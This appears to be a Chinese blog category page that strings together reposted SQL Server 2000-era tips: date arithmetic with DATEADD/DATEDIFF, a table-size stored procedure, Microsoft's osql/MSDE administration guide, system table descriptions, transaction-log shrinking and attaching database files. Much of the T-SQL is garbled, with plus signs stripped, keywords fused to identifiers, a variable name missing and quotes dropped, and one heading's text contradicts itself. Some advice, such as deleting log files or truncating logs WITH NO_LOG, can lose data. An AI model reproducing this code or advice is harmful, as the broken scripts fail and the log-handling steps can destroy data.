Recently in SQL Server Category

[转载]SQLServer 各种日期计算方法

  这几天被问到很多 SQLServer 操作日期方面的问题,虽然通过帮助文件都能解决,还是搜索了一下这方面的总结性文章,找到了一篇,还不错,主要是通过 DATEDIFF 和 DATEADD 这两个有用的函数来实现的。记录一下,已备日后查询。


原始出处:不明


SQLServer 各种日期计算方法


  通常,你需要获得当前日期和计算一些其他的日期,例如,你的程序可能需要判断一个月的第一天或者最后一天。你们大部分人大概都知道怎样把日期进行分割(年、月、日等),然后仅仅用分割出来的年、月、日等放在几个函数中计算出自己所需要的日期!在这篇文章里,我将告诉你如何使用DATEADD和DATEDIFF函数来计算出在你的程序中可能你要用到的一些不同日期。


  在使用本文中的例子之前,你必须注意以下的问题。大部分可能不是所有例子在不同的机器上执行的结果可能不一样,这完全由哪一天是一个星期的第一天这个设置决定。第一天(DATEFIRST)设定决定了你的系统使用哪一天作为一周的第一天。所有以下的例子都是以星期天作为一周的第一天来建立,也就是第一天设置为7。假如你的第一天设置不一样,你可能需要调整这些例子,使它和不同的第一天设置相符合。你可以通过@@DATEFIRST函数来检查第一天设置。
  
  为了理解这些例子,我们先复习一下DATEDIFF和DATEADD函数。DATEDIFF函数计算两个日期之间的小时、天、周、月、年等时间间隔总数。DATEADD函数计算一个日期通过给时间间隔加减来获得一个新的日期。要了解更多的DATEDIFF和DATEADD函数以及时间间隔可以阅读微软联机帮助。
  
  使用DATEDIFF和DATEADD函数来计算日期,和本来从当前日期转换到你需要的日期的考虑方法有点不同。你必须从时间间隔这个方面来考虑。比如,从当前日期到你要得到的日期之间有多少时间间隔,或者,从今天到某一天(比如1900-1-1)之间有多少时间间隔,等等。理解怎样着眼于时间间隔有助于你轻松的理解我的不同的日期计算例子。
  
一个月的第一天
  
  第一个例子,我将告诉你如何从当前日期去这个月的最后一天。请注意:这个例子以及这篇文章中的其他例子都将只使用DATEDIFF和DATEADD函数来计算我们想要的日期。每一个例子都将通过计算但前的时间间隔,然后进行加减来得到想要计算的日期。
  
  这是计算一个月第一天的SQL脚本:
  SELECTDATEADD(mm,DATEDIFF(mm,0,getdate()),0)
  
  我们把这个语句分开来看看它是如何工作的。最核心的函数是getdate(),大部分人都知道这个是返回当前的日期和时间的函数。下一个执行的函数DATEDIFF(mm,0,getdate())是计算当前日期和“1900-01-0100:00:00.000”这个日期之间的月数。记住:时期和时间变量和毫秒一样是从“1900-01-0100:00:00.000”开始计算的。这就是为什么你可以在DATEDIFF函数中指定第一个时间表达式为“0”。下一个函数是DATEADD,增加当前日期到“1900-01-01”的月数。通过增加预定义的日期“1900-01-01”和当前日期的月数,我们可以获得这个月的第一天。另外,计算出来的日期的时间部分将会是“00:00:00.000”。
  
  这个计算的技巧是先计算当前日期到“1900-01-01”的时间间隔数,然后把它加到“1900-01-01”上来获得特殊的日期,这个技巧可以用来计算很多不同的日期。下一个例子也是用这个技巧从当前日期来产生不同的日期。

本周的星期一
  
  这里我是用周(wk)的时间间隔来计算哪一天是本周的星期一。
  
  SELECTDATEADD(wk,DATEDIFF(wk,0,getdate()),0)
  
一年的第一天
  
  现在用年(yy)的时间间隔来显示这一年的第一天。
  
  SELECTDATEADD(yy,DATEDIFF(yy,0,getdate()),0)
  
季度的第一天
  
  假如你要计算这个季度的第一天,这个例子告诉你该如何做。
  
  SELECTDATEADD(qq,DATEDIFF(qq,0,getdate()),0)
  
当天的半夜
  
  曾经需要通过getdate()函数为了返回时间值截掉时间部分,就会考虑到当前日期是不是在半夜。假如这样,这个例子使用DATEDIFF和DATEADD函数来获得半夜的时间点。
  
  SELECT DATEADD(dd,DATEDIFF(dd,0,getdate()),0)
注:我之前是使用 covert 函数转换来获得今天的 0 点的:
  select convert(datetime,convert(char(10),getdate(),20),20)
我想通过两次类型转换的效率应该没有 DATEDIFF 和 DATEADD 两个函数的效率高,没有测试过。


深入DATEDIFF和DATEADD函数计算
  
  你可以明白,通过使用简单的DATEDIFF和DATEADD函数计算,你可以发现很多不同的可能有意义的日期。
  
  目前为止的所有例子只是仅仅计算当前的时间和“1900-01-01”之间的时间间隔数量,然后把它加到“1900-01-01”的时间间隔上来计算出日期。假定你修改时间间隔的数量,或者使用不同的时间间隔来调用DATEADD函数,或者减去时间间隔而不是增加,那么通过这些小的调整你可以发现和多不同的日期。
  
  这里有四个例子使用另外一个DATEADD函数来计算最后一天来分别替换DATEADD函数前后两个时间间隔

上个月的最后一天
  
  这是一个计算上个月最后一天的例子。它通过从一个月的最后一天这个例子上减去3毫秒来获得。有一点要记住,在SqlServer中时间是精确到3毫秒。这就是为什么我需要减去3毫秒来获得我要的日期和时间。
  
  SELECTdateadd(ms,-3,DATEADD(mm,DATEDIFF(mm,0,getdate()),0))
  
  计算出来的日期的时间部分包含了一个SqlServer可以记录的一天的最后时刻(“23:59:59:997”)的时间。
  
去年的最后一天
  
  连接上面的例子,为了要得到去年的最后一天,你需要在今年的第一天上减去3毫秒。
  
  SELECTdateadd(ms,-3,DATEADD(yy,DATEDIFF(yy,0,getdate()),0))
  
本月的最后一天
  
  现在,为了获得本月的最后一天,我需要稍微修改一下获得上个月的最后一天的语句。修改需要给用DATEDIFF比较当前日期和“1900-01-01”返回的时间间隔上加1。通过加1个月,我计算出下个月的第一天,然后减去3毫秒,这样就计算出了这个月的最后一天。这是计算本月最后一天的SQL脚本。
  
  SELECTdateadd(ms,-3,DATEADD(mm,DATEDIFF(m,0,getdate()) 1,0))
  
本年的最后一天
  
  你现在应该掌握这个的做法,这是计算本年最后一天脚本
  
  SELECTdateadd(ms,-3,DATEADD(yy,DATEDIFF(yy,0,getdate()) 1,0))。
  
本月的第一个星期一
  
  好了,现在是最后一个例子。这里我要计算这个月的第一个星期一。这是计算的脚本。
  
  selectDATEADD(wk,DATEDIFF(wk,0,
  dateadd(dd,6-datepart(day,getdate()),getdate())
  ),0)
  
  在这个例子里,我使用了“本周的星期一”的脚本,并作了一点点修改。修改的部分是把原来脚本中“getdate()”部分替换成计算本月的第6天,在计算中用本月的第6天来替换当前日期使得计算可以获得这个月的第一个星期一。
  
总结
  
  我希望这些例子可以在你用DATEADD和DATEDIFF函数计算日期时给你一点启发。通过使用这个计算日期的时间间隔的数学方法,我发现为了显示两个日期之间间隔的有用历法是有价值的。注意,这只是计算出这些日期的一种方法。要牢记,还有很多方法可以得到相同的计算结果。假如你有其他的方法,那很不错,要是你没有,我希望这些例子可以给你一些启发,当你要用DATEADD和DATEDIFF函数计算你程序可能要用到的日期时。

附录,其他日期处理方法
  
  1)去掉时分秒
  declare@datetime
  set@=getdate()--'2003-7-110:00:00'
  SELECT@,DATEADD(day,DATEDIFF(day,0,@),0)
  
  2)显示星期几
  selectdatename(weekday,getdate())
  
  3)如何取得某个月的天数
  declare@mint
  set@m=2--月份
  selectdatediff(day,'2003-' cast(@masvarchar) '-15','2003-' cast(@m 1asvarchar) '-15')
  另外,取得本月天数
  selectdatediff(day,cast(month(GetDate())asvarchar) '-' cast(month(GetDate())asvarchar) '-15',cast(month(GetDate())asvarchar) '-' cast(month(GetDate()) 1asvarchar) '-15')
  或者使用计算本月的最后一天的脚本,然后用DAY函数区最后一天
  SELECTDay(dateadd(ms,-3,DATEADD(mm,DATEDIFF(m,0,getdate()) 1,0)))
  
  4)判断是否闰年:
  SELECTcaseday(dateadd(mm,2,dateadd(ms,-3,DATEADD(yy,DATEDIFF(yy,0,getdate()),0))))when28then'平年'else'闰年'end
  或者
  selectcasedatediff(day,datename(year,getdate()) '-02-01',dateadd(mm,1,datename(year,getdate()) '-02-01'))
  when28then'平年'else'闰年'end
  
  5)一个季度多少天
  declare@mtinyint,@timesmalldatetime
  select@m=month(getdate())
  select@m=casewhen@mbetween1and3then1
  when@mbetween4and6then4
  when@mbetween7and9then7
  else10end
  select@time=datename(year,getdate()) '-' convert(varchar(10),@m) '-01'
  selectdatediff(day,@time,dateadd(mm,3,@time))

 

其实只要使用系统内置的存储过程sp_spaceused就可以得到表的相关信息


如:sp_spaceused 'tablename'


以下是为了方便写的一个存储过程,目的是把当前的所有表的相关信息全部都保存在一个指定的表里面


CREATE PROCEDURE get_tableinfo AS

if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[tablespaceinfo]'and OBJECTPROPERTY(id, N'IsUserTable'= 1)
create table  tablespaceinfo                         --创建结果存储表
              (nameinfo varchar(50) , 
               rowsinfo 
int , reserved varchar(20) , 
               datainfo 
varchar(20)  , 
               index_size 
varchar(20) , 
               unused 
varchar(20) )


delete from tablespaceinfo --清空数据表

declare @tablename varchar(255)  --表名称

declare @cmdsql varchar(500)

DECLARE Info_cursor CURSOR FOR 
select o.name  
from dbo.sysobjects o where OBJECTPROPERTY(o.id, N'IsTable'= 1 
     
and o.name not like N'#%%'  order by o.name

OPEN Info_cursor

FETCH NEXT FROM Info_cursor 
INTO @tablename 

WHILE @@FETCH_STATUS = 0
BEGIN

  
if exists (select * from dbo.sysobjects where id = object_id(@tablenameand OBJECTPROPERTY(id, N'IsUserTable'= 1)
  
execute sp_executesql 
         N
'insert into tablespaceinfo  exec sp_spaceused @tbname',
          N
'@tbname varchar(255)',
          
@tbname = @tablename

  
FETCH NEXT FROM Info_cursor 
  
INTO @tablename 
END

CLOSE Info_cursor
DEALLOCATE Info_cursor
GO

 


执行存储过程
exec get_tableinfo

查询运行该存储过程后得到的结果
select *
from tablespaceinfo 
order by cast(left(ltrim(rtrim(reserved)) , len(ltrim(rtrim(reserved)))-2) as int) desc


作者Blog:http://blog.csdn.net/keenx/


HOW TO:使用 Osql 工具管理 SQL Server 桌面引擎 (MSDE 2000)


转自msdn




本页










































































概要
  何为 Osql?
  如何使用 Osql?
    交互式输入 Transact-SQL 语句
    提交 Osql 作业
  连接到 SQL Server 桌面引擎 (MSDE 2000)
  管理 MSDE 2000
    新建登录帐户
    访问数据库
    如何更改登录密码
    创建数据库
    备份和还原数据库
    附加和分离数据库
参考
这篇文章中的信息适用于:


概要


“SQL Server 桌面引擎”(也叫 MSDE 2000)没有自己的用户界面,因为它主要设计为在后台运行。用户通过 MSDE 2000 嵌入的程序与它交互。随 MSDE 2000 提供的唯一工具是 osql 。可执行文件 Sql.exe 在 MSDE 2000 的默认实例的 MSSQL\Binn 文件夹中。本文重点讨论如何通过使用 osql 工具管理 MSDE 2000。







回到顶端

何为 Osql?

osql 工具是一个 Microsoft Windows 32 命令提示符工具,您可以使用它运行 Transact-SQL 语句和脚本文件。osql 工具使用 ODBC 数据库应用程序编程接口 (API) 与服务器通讯。







回到顶端

如何使用 Osql?

一般情况下,可以这样使用 osql 工具:








用户通过与使用命令提示符时相似的方式交互输入 Transact-SQL 语句。
用户提交 osql 作业,方法是:







指定单个要运行的 Transact-SQL 语句。 - 或 -

将该工具指向一个包含要运行的 Transact-SQL 语句的脚本文件。

交互式输入 Transact-SQL 语句

如要显示 osql 工具的区分大小写的选项列表,请在命令提示符下键入如下内容,然后按 ENTER 键:

osql -?

如想了解关于 osql 工具的每一选项的更多信息,请参见“SQL Server 联机图书”中的“osql Utility”主题。

如要交互输入 Transact-SQL 语句,请按照下列步骤操作:















1. 确认 MSDE 2000 正在运行。
2. 连接到 MSDE 2000(有关更多信息,请参见标题为“连接到 SQL Server 桌面引擎 (MSDE 2000)”的部分)。
3. osql 命令提示符下,键入 Transact-SQL 语句,然后按 ENTER 键。 当您在输入的每一行后按 ENTER 键时,osql 将缓存该命令行上的语句。









如要运行当前缓存的语句,请键入“Go”,接着按 ENTER 键。

如要运行一批 Transact-SQL 语句,请分别在单独的行上输入每一个 Transact-SQL 命令。然后,在最后一行上键入“Go”以表示批处理命令的结束并运行当前缓存的语句。

运行结果出现在控制台窗口。

4. 当您在输入的每一行后按 ENTER 键时,如想从 osql 退出,请键入 QUIT 或 EXIT,并按 ENTER 键。


提交 Osql 作业

一般情况下,您可以用两种方法之一提交 osql 作业。您可以:







指定单个 Transact-SQL 语句。

- 或 -

将该工具指向一个脚本文件。
下面将详细介绍每一种方法。

指定单个 Transact-SQL 语句

如要针对 MSDE 2000 的本地默认实例运行 Transact-SQL,请键入与下面这一个类似的命令:

osql -E -q "Transact-SQL statement"

其中









-E 表示使用 Microsoft Windows NT 身份验证。

-而-

-q 表示运行 Transact-SQL 语句,但是在查询结束时不退出 osql
如要运行 Transact-SQL 语句并退出 osql,请使用 -Q 参数来代替 -q

将该工具指向一个脚本文件

如要将该工具指向一个脚本文件,请按照下列步骤操作:







1. 创建一个包含一批 Transact-SQL 语句的脚本文件(如 myQueries.sql)。
2. 打开命令提示符,键入与下面类似的一个命令,然后按 ENTER 键:

osql -E -i input_file

其中

input_file 是脚本文件及其完整路径。例如,如果脚本文件 myQueries.sql 在 C:\Queries 文件夹中,请将参数 input_file 替换为 C:\Queries\myQueries.sql。

该脚本文件的运行结果将出现在控制台窗口中。如果您想将运行结果定向到一个文件,请向上述命令中添加 -ooutput_file 参数。例如:

osql -E -i input_file -o output_file

其中

output_file 是输出文件及其完整路径。

如想消除输出结果中的编号和提示符号,请向上述命令中添加 -n 选项。例如:

osql -E -i input_file -o output_file -n






回到顶端

连接到 SQL Server 桌面引擎 (MSDE 2000)

如要连接到 MSDE 2000,请按照下列步骤操作:










1. 确认 MSDE 2000 正在运行。
2. 在承载您要连接的 MSDE 2000 实例的计算机上打开一个命令窗口。
3. 键入下面的命令,然后按 ENTER 键:

osql -E

这可以通过使用 Windows 身份验证将您连接到 MSDE 2000 的本地默认实例。

如要连接到 MSDE 2000 的一个命名实例,请键入:

osql -E -S servername\instancename

如果您收到了下面的错误消息,表明 MSDE 2000 可能未在运行,或者您可能为安装的 MSDE 2000 的命名实例提供了错误的名称:
[Shared Memory]SQL Server does not exist or access denied.
[Shared Memory]ConnectionOpen (Connect()).
如果您成功连接到了该服务器,就会出现下面的提示:

   1>
此提示表示 osql 已启动。现在,您可以交互输入 Transact-SQL 语句,运行结果将出现在命令提示行上。






回到顶端

管理 MSDE 2000

本文下面的部分将向您简单介绍管理 MSDE 2000 时最常用的 Transact-SQL 命令。


新建登录帐户

未提供有效登录 id 的用户无法连接到 SQL Server。可调用 sp_grantlogin 存储过程来授权一个 Microsoft Windows 网络帐户(一个组或者一个用户帐户),使之作为一个使用 Windows 身份验证连接到 SQL Server 实例的 SQL Server 登录帐户。下面的示例允许一个名为 Corporate\Test 的 Windows NT 用户连接到 SQL Server 实例:
EXEC sp_grantlogin 'Corporate\Test'
只有 sysadmin securityadmin 固定服务器角色的成员可以运行 sp_grantlogin 存储过程。有关这些角色的更多信息,请参见“SQL Server 联机图书”中“Roles, SQL Server Architecture”主题。

有关 sp_grantlogin 存储过程的更多信息,请参见“SQL Server 联机图书”中的“sp_grantlogin, Transact-SQL Reference”主题。

您可以使用 sp_addlogin 存储过程创建一个使用 SQL Server 身份验证建立 SQL Server 连接的新登录帐户。下面的示例为一个名叫“test”的用户创建了一个密码为“hello”的 SQL Server 登录:
EXEC sp_addlogin 'test','hello'
只有 sysadmin securityadmin 固定服务器角色的成员可以运行 sp_addlogin 存储过程。有关 sp_addlogin 存储过程的更多信息,请参见“SQL Server 联机图书”中的“sp_addlogin, Transact-SQL Reference”主题。


访问数据库

在用户连接到 SQL Server 的一个实例后,他们只有在 dbo 授予他们对数据库的访问权后才可以在数据库中执行活动。您可以使用 sp_grantdbaccess 存储过程为新用户向当前数据库中添加一个安全帐户。下面的示例为一个名叫 Corporate\BobJ 的 Microsoft Windows NT 的用户向当前数据库添加了一个帐户,并将其命名为“Bob”:
EXEC sp_grantdbaccess 'Corporate\BobJ', 'Bob'

sp_adduser 存储过程执行与 sp_grantdbaccess 存储过程相同的功能。因为包括 sp_adduser 存储过程是为了向后兼容,所以 Microsoft 建议您使用 sp_grantdbacess 存储过程。

只有 sysadmin 固定服务器角色、db_accessadmindb_owner 固定数据库角色的成员才可以运行 sp_grantdbaccess 存储过程。有关 sp_grantdbaccess 存储过程的更多信息,请参见“SQL Server 联机图书”中的“sp_grantdbaccess, Transact-SQL Reference”主题。


如何更改登录密码

如要修改登录密码,请使用 sp_password 存储过程。下面的示例将“test”登录的密码从“ok”更改为“hello”:
EXEC sp_password 'ok', 'hello','test'

执行权限默认授予正在更改其自己的登录密码的用户的公共角色。只有 sysadmin 角色才可以为其他用户更改登录密码。有关 sp_password 存储过程的更多信息,请参见“SQL Server 联机图书中”的“sp_password, Transact-SQL Reference”主题。

创建数据库

MSDE 2000 数据库由一个表的集合组成,这些表中包含数据和其他对象,如视图、索引、存储过程和事件触发器,这些内容定义为支持对数据执行的各种活动。如要创建 MSDE 2000 数据库,请使用“CREATE DATABASE”Transact-SQL 命令。有关 创建数据库的更多信息,请参见“SQL Server 联机图书”中的“Creating a Database”主题。

下面的示例创建了一个名为 Test 的数据库。因为没有向该命令行添加其他参数,所以 Test 数据库将与 model 数据库大小相同:
CREATE DATABASE Test
CREATE DATABASE 权限默认授予 sysadmin dbcreator 固定服务器角色的成员。有关“CREATE DATABASE”命令的更多信息,请参见“SQL Server 联机图书”中的“CREATE DATABASE, Transact-SQL Reference”主题。

如要创建一个新的数据库对象,请使用“CREATE Transact-SQL”命令。例如,要新建一个表,请使用“CREATE TABLE”Transact-SQL 命令。有关更多信息,请参考“SQL Server 联机图书”。


备份和还原数据库

SQL Server 的备份和还原组件为保护存储在 SQL Server 数据库中的关键数据提供了一个重要的保护措施。

通过适当的规划,您可以从许多故障中恢复,包括:











存储媒体故障。
用户错误。
服务器的永久丢失。
另外,备份和还原数据库还有其他方面的用途,例如将数据库从一个服务器复制到另一个服务器。通过从一台计算机上备份一个数据库和将此数据库还原到另一台计算机上,您可以快速方便地制作数据库的副本。

有关数据库备份和还原操作方面的更多信息,请参见“SQL Server 联机图书”中的“Backing Up and Restoring Databases”主题。

下面的示例为一个名为 mydb的数据库执行完全数据库备份,将此备份命名为 Mydb.bak,然后将此备份存储在 C:\Msde\Backup 文件夹中。

BACKUP DATABASE mydb TO DISK = 'C:\MSDE\Backup\mydb.bak'

下面的示例为一个名为 mydb 的数据库执行日志备份,将此备份命名为 Mydb_log.bak,然后将其存储在 C:\Msde\Backup 文件夹中:

BACKUP LOG mydb TO DISK = 'C:\MSDE\Backup\mydb_log.bak'

BACKUP DATABASE 和 BACKUP LOG 权限默认授予 sysadmin 固定服务器角色以及 db_ownerdb_backupoperator 固定数据库角色的成员。有关 BACKUP 语句的更多信息,请参见“SQL Server 联机图书”中的“BACKUP, Transact-SQL Reference”主题。


MSDE 包括 SQL Server 代理程序服务用以管理安排的作业。例如,您可以创建并安排一个 Transact-SQL 备份作业。SQL Server 代理程序服务管理作业安排。如想查看演示如何在 MSDE 2000 中使用各种存储过程执行和安排备份的示例代码,请参见下面的 Microsoft 知识库文章:

241397 (http://support.microsoft.com/kb/241397/EN-US/) HOWTO:Back Up a Microsoft Data Engine Database with Transact-SQL
有关 SQL Server 代理程序服务的更多信息,请参见“SQL Server 联机图书”中的“SQL Server Agent Service”主题。

备份数据库只是全部过程的一半。知道如何从备份中还原数据库也非常重要。下面的示例将一个名为 mydb 的数据库从备份文件 C:\Msde\Backup\Mydb.bak 中还原:

RESTORE DATABASE mydb FROM DISK ='C:\MSDE\Backup\mydb.bak'
如果将要还原的数据库不存在,则用户必须具有 CREATE DATABASE 权限才可以运行 RESTORE 语句。如果该数据库存在,则 RESTORE 权限默认授予 sysadmin dbcreator 固定服务器角色的成员,以及该数据库的所有者 (dbo)。有关 RESTORE 语句的更多信息,请参见“SQL Server 联机图书”中的“RESTORE, Transact-SQL Reference”主题。

附加和分离数据库

可以分离一个数据库的数据和事务日志文件然后将其重新附加到另一个服务器,或重新附加到同一服务器。分离一个数据库虽然从 SQL Server 中删除了该数据库,但构成该数据库的数据和事务日志文件没有任何改动。 然后您可以使用这些数据和事务日志文件将该数据库附加到任何 SQL Server 实例,其中包括从中分离该数据库的那一服务器。这使该数据库能够以与在被分离时完全相同的状态供在其他位置使用。有关更多信息,请参见 “SQL Server 联机图书”中的“Attaching and Detaching a Database”主题。

下面的示例将一个名为 mydb 的数据库从 SQL Server 的当前实例中分离出来:
EXEC sp_detach_db 'mydb'
只有 sysadmin 固定服务器角色的成员才可以运行 sp_detach_db 存储过程。有关 sp_detach_db 存储过程的更多信息,请参见“SQL Server 联机图书”中的“sp_detach_db, Transact-SQL Reference”主题。

下面的示例将来自名为 mydb 的数据库的两个文件附加到 SQL Server 的当前实例:
EXEC sp_attach_db @dbname = N'mydb',
@filename1 = N'C:\MSDE\Backup\mydb.mdf',
@filename2 = N'C:\MSDE\Backup\mydb.ldf'
大写字母“N”用来给“Unicode 字符串”常量添加前缀。“N”前缀代表 SQL-92 标准中的区域语言。有关详细信息,请参见 Microsoft 知识库中的以下文章:
239530 (http://support.microsoft.com/kb/239530/EN-US/) INF:Unicode String Constants in SQL Server Require N Prefix
只有 sysadmin dbcreator 固定服务器角色的成员才可以运行此过程。有关 sp_attach_db 存储过程的更多信息,请参见“SQL Server 联机图书”中的“sp_attach_db, Transact-SQL Reference”主题。 下面关于 osql 工具使用方面的信息适用于所有版本的 Microsoft SQL Server 2000。







回到顶端

参考


如要下载“SQL Server 2000 联机图书”的更新版本,请访问下面的 Microsoft Web 站点:
http://www.microsoft.com/sql/techinfo/productdoc/2000/books.asp (http://support.microsoft.com/?scid=http%3a%2f%2fwww.microsoft.com%2fsql%2ftechinfo%2fproductdoc%2f2000%2fbooks.asp)
如要下载“SQL Server 联机图书”的 SQL Server 7.0 版,请访问下面的 Microsoft Web 站点:
http://download.microsoft.com/download/SQL70/File/2/Win98/En-US/SQLBOL.exe (http://download.microsoft.com/download/sql70/file/2/win98/en-us/sqlbol.exe)
有关 MSDE 2000 的更多信息,请参见下列 Microsoft 知识库文章:
319930 (http://support.microsoft.com/kb/319930/EN-US/) HOW TO:Connect to Microsoft Desktop Engine

241397 (http://support.microsoft.com/kb/241397/EN-US/) HOWTO:Back Up a Microsoft Desktop Engine Database with Transact-SQL






回到顶端


SQL Server 中系统表的作用

sysaltfiles             主数据库 保存数据库的文件
syscharsets         主数据库 字符集与排序顺序
sysconfigures      主数据库 配置选项
syscurconfigs      主数据库 当前配置选项
sysdatabases     主数据库 服务器中的数据库
syslanguages     主数据库 语言
syslogins             主数据库 登陆帐号信息
sysoledbusers    主数据库 链接服务器登陆信息
sysprocesses     主数据库 进程
sysremotelogins主数据库 远程登录帐号
syscolumns        每个数据库 列
sysconstrains     每个数据库 限制
sysfilegroups      每个数据库 文件组
sysfiles                每个数据库 文件
sysforeignkeys   每个数据库 外部关键字
sysindexs             每个数据库 索引
sysmenbers        每个数据库 角色成员
sysobjects           每个数据库 所有数据库对象
syspermissions 每个数据库 权限
systypes               每个数据库 用户定义数据类型
sysusers              每个数据库 用户




关于SQL Server事务日志的问题汇总

 

1、用BACKUP LOG database WITH NO_LOG清除日志
把数据库属性中的故障还原模型改为“简单”可以大大减慢日志


增长的速度。
   如果把还原模型调到简单,这样就不支持时间点还原了,但


是日志文件会很小,如果数据比较重要
推荐还是把数据库的还原模型调为完全


用BACKUP LOG database WITH NO_LOG命名后,会截断不活动日


志,不减小物理日志文件的大小,
但逻辑日志会减小,收缩数据库后会把不活动虚拟日志删除来释


放空间,不会损坏数据。


如果日志被截断并收缩数据库后,就不能直接用最近的一个全库


备份做时间点还原,建议立即备份
数据库,以防万一。


2、sql server运行中,是否能删除主数据库事务日志文件
步骤如下:(1)、分离数据库
企业管理器--数据库--右击你要删除日志的数据库--所有


任务--分离数据库
(2)、然后删除日志文件
(3)、然后再附加数据库
企业管理器--数据库--右击数据库--所有任务--附加数


据库
这时候只附加。mdf就可以了。


3、压缩SQL数据库及日志的详细方法


SQL Server 2000基础教程——压缩数据库
数据库在使用一段时间后,时常会出现因数据删除而造成数据库


中空闲空间太多的情况,这时就需要减少分配给数据库文件和事


务日志文件的磁盘空间,以免浪费磁盘空间。当数据库中没有数


据时,可以修改数据库文件属性直接改变其占用空间,但当数据


库中有数据时,这样做会破坏数据库中的数据,因此需要使用压


缩的方式来缩减数据库空间。可以在数据库属性选项中选择“


Auto shrink”选项,让系统自动压缩数据库,也可以用人工的


方法来压缩。人工压缩数据库有以下两种方式:
1、用Enterprise Manager 压缩数据库
在Enterprise Manager 中在所要压缩的数据库上单击右键,从


快捷菜单中的“所有任务(All Tasks)”中选择“Shrink


Database(压缩数据库)”选项,就会出现如图6-10 所示的对


话框。可以在图6-10 所示的对话框中选择数据库的压缩方式,


也可以选择使用压缩计划或压缩单个文件
 
单击图6-10 中的“Files”按钮,会出现如图6-11 所示的压缩


数据库文件对话框,可以针对每个数据库文件进行不同的压缩设


置。
 
单击图6-10 中的“Change” 按钮,会出现如图6-12 所示的压


缩计划编辑对话框,可以指定压缩计划的执行方式。单击图6-12


中的“Change” 按钮,会出现如图6-13 所示的循环工作计划编


辑对话框,可以编辑计划执行的周期或时间点。设置完成后单击


“OK” 按钮就开始压缩数据库,在压缩结束后会显示一个压缩


情况信息框。
 
 
2、用Transact-SQL 命令压缩数据库
可以使用DBCC SHRINKDATABASE 和DBCC SHRINKFILE 命令来压缩


数据库。其中DBCC SHRINKDATABASE 命令对数据库进行压缩,


DBCC SHRINKFILE 命令对数据库中指定的文件进行压缩。
(1) DBCC SHRINKDATABASE
DBCC SHRINKDATABASE 命令语法如下:
DBCC SHRINKDATABASE (database_name [, target_percent]
[, {NOTRUNCATE | TRUNCATEONLY}] )
各参数说明如下:
·target_percent 指定将数据库压缩后,未使用的空间占数据


库大小的百分之几。如果指定的百分比过大,超过了压缩前未使


用空间所占的比例,则数据库不会被压缩。并且压缩后的数据库


不能比数据库初始设定的容量小。
·NOTRUECATE
将数据库缩减后剩余的空间保留在数据库,中不返还给操作系统


。如果不选择此选项,则剩余的空间返还给操作系统。
·TRUNCATEONLY
将数据库缩减后剩余的空间返还给操作系统。使用此命令时SQL


Server 将文件缩减到最后一个文件分配,区域但不移动任何数


据文件。选择此项后,target_percent 选项就无效了。
例6-14: 压缩数据库mytest 的未使用空间为数据库大小的20%



dbcc shrinkdatabase (mytest, 20)
运行结果如下:
DBCC execution completed. If DBCC printed error


messages, contact your system administrator.
(2) DBCC SHRINKFILE
DBCC SHRINKFILE 命令压缩当前数据库中的文件。其语法如下:
DBCC SHRINKFILE ( {file_name | file_id }
{ [, target_size] |
[, {EMPTYFILE | NOTRUNCATE | TRUNCATEONLY}] } )
各参数说明如下:
·file_id
指定要压缩的文件的鉴别号(Identification number, 即ID)


。文件的ID 号可以通过 FILE_ID()函数或如本章前面所讲述


的Sp_helpdb 系统存储过程来得到。
·target_size
指定文件压缩后的大小。以MB 为单位。如果不指定此选项,SQL


Server 就会尽最大可能地缩减文件。
·EMPTYFILE
指明此文件不再使用,将移动所有在此文件中的数据到同一文件


组中的其它文件中去。执行带此参数的命令后,此文件就可以用


ALTER DATABASE 命令来删除了。
其余参数NOTRUNCATE 和TRUNCATEONLY 与DBCC SHRINKDATABASE


命令中的含义相同。
例6-15: 压缩数据库mydb 中的数据库文件mydb_data2 的大小到


1MB。 use mydb dbcc shrinkfile (mydb_data2, 1)
 



企业管理器里面的方法:
1、打开企业管理器
2、打开要处理的数据库
3、点击最上面菜单>工具>SQL查询分析器,打开SQL查询分析器
4、在输入窗口里面输入:


Code:
DUMP TRANSACTION [数据库名] WITH  NO_LOG
BACKUP LOG [数据库名] WITH NO_LOG
DBCC SHRINKDATABASE([数据库名])



点击绿色的小三角(或按F5)执行查询,等状态栏提示处理完成


即可!



程序里面的方法:
压缩数据库日志
--1.清空日志
exec('DUMP TRANSACTION ['+@dbname+'] WITH  NO_LOG')
--2.截断事务日志:
exec('BACKUP LOG ['+@dbname+'] WITH NO_LOG')
--3.收缩数据库文件(如果不压缩,数据库的文件不会减小
exec('DBCC SHRINKDATABASE(['+@dbname+'])')



4、减小日志的方法:


一、用如下步做了:
1、DUMP TRANSACTION 庫名 WITH no_log
2、dbcc shrinkfile(logfilename)
3、收縮數據庫
4、設定自動收縮。


二、
分离数据库,删除日志文件,再附加,OK!
右击数据库--所有任务--分离or 附加


三、


1、backup log 庫名 WITH no_log
2、dbcc shrinkfile(logfilename)
3、收縮數據庫
4、設定自動收縮。



拷贝的SQL Server 7的恢复方法

  在SQL Server 7中由于MS重新设计了数据库文件的存储方式,取消了新建设备再建数据库这一繁琐的过程。新的存储格式,一个数据库包括两个文件,mdf数据库文件和ldf日志文件。所以我们在重装机器备份时可以


把你要备份的数据库的这两个文件拷贝出来,重新安装之后再恢复。

  在SQL Server中提供了这种恢复方式的存储过程。 

  1.sp_attach_db [@dbname =] dbname,[@filename1 =] filename_n

  给系统添加一个数据库,在dbname指定数据库名称,filename_n指定数据库的文件和日志文件。比如我有一个voogiya的库,停止SQL Server服务备份voogiya_data.mdf,voogiya_log.ldf,启动SQL server,删除掉这个库,然后再把这两上文件拷到sql server DATA目录中,在Query Analyzer中执行如下语句:

  EXEC sp_attach_db @dbname = Nvoogiya,
  @filename1 = Nd:\mssql7\data\voogiya_data.mdf,
  @filename2 = Nd:\mssql7\data\voogiya_log.ldf

  就会把这个库加入到SQL Server Group中.

  2.sp_attach_single_file_db [@dbname =] dbname,
  [@physname =] physical_name

  这个命令和上面的功能一样,在physical_name中只要写上据库的物理文件名就可以了,日志文件SQL server会重新建立。这个存储过程的运行要先执行下面的存储过程:

  sp_detach_db @dbname = dbname

  同样以上面的为例:

  EXEC sp_detach_db @dbname = voogiya
  EXEC sp_attach_single_file_db @dbname = voogiya,
  @physname = d:\mssql7\data\voogiya_data.mdf

  要注意执行以上存储过程的用户要在sysadmin中.

  以上方法在windows Nt 4.0,service pack5,sql server 7.0上运行通过。

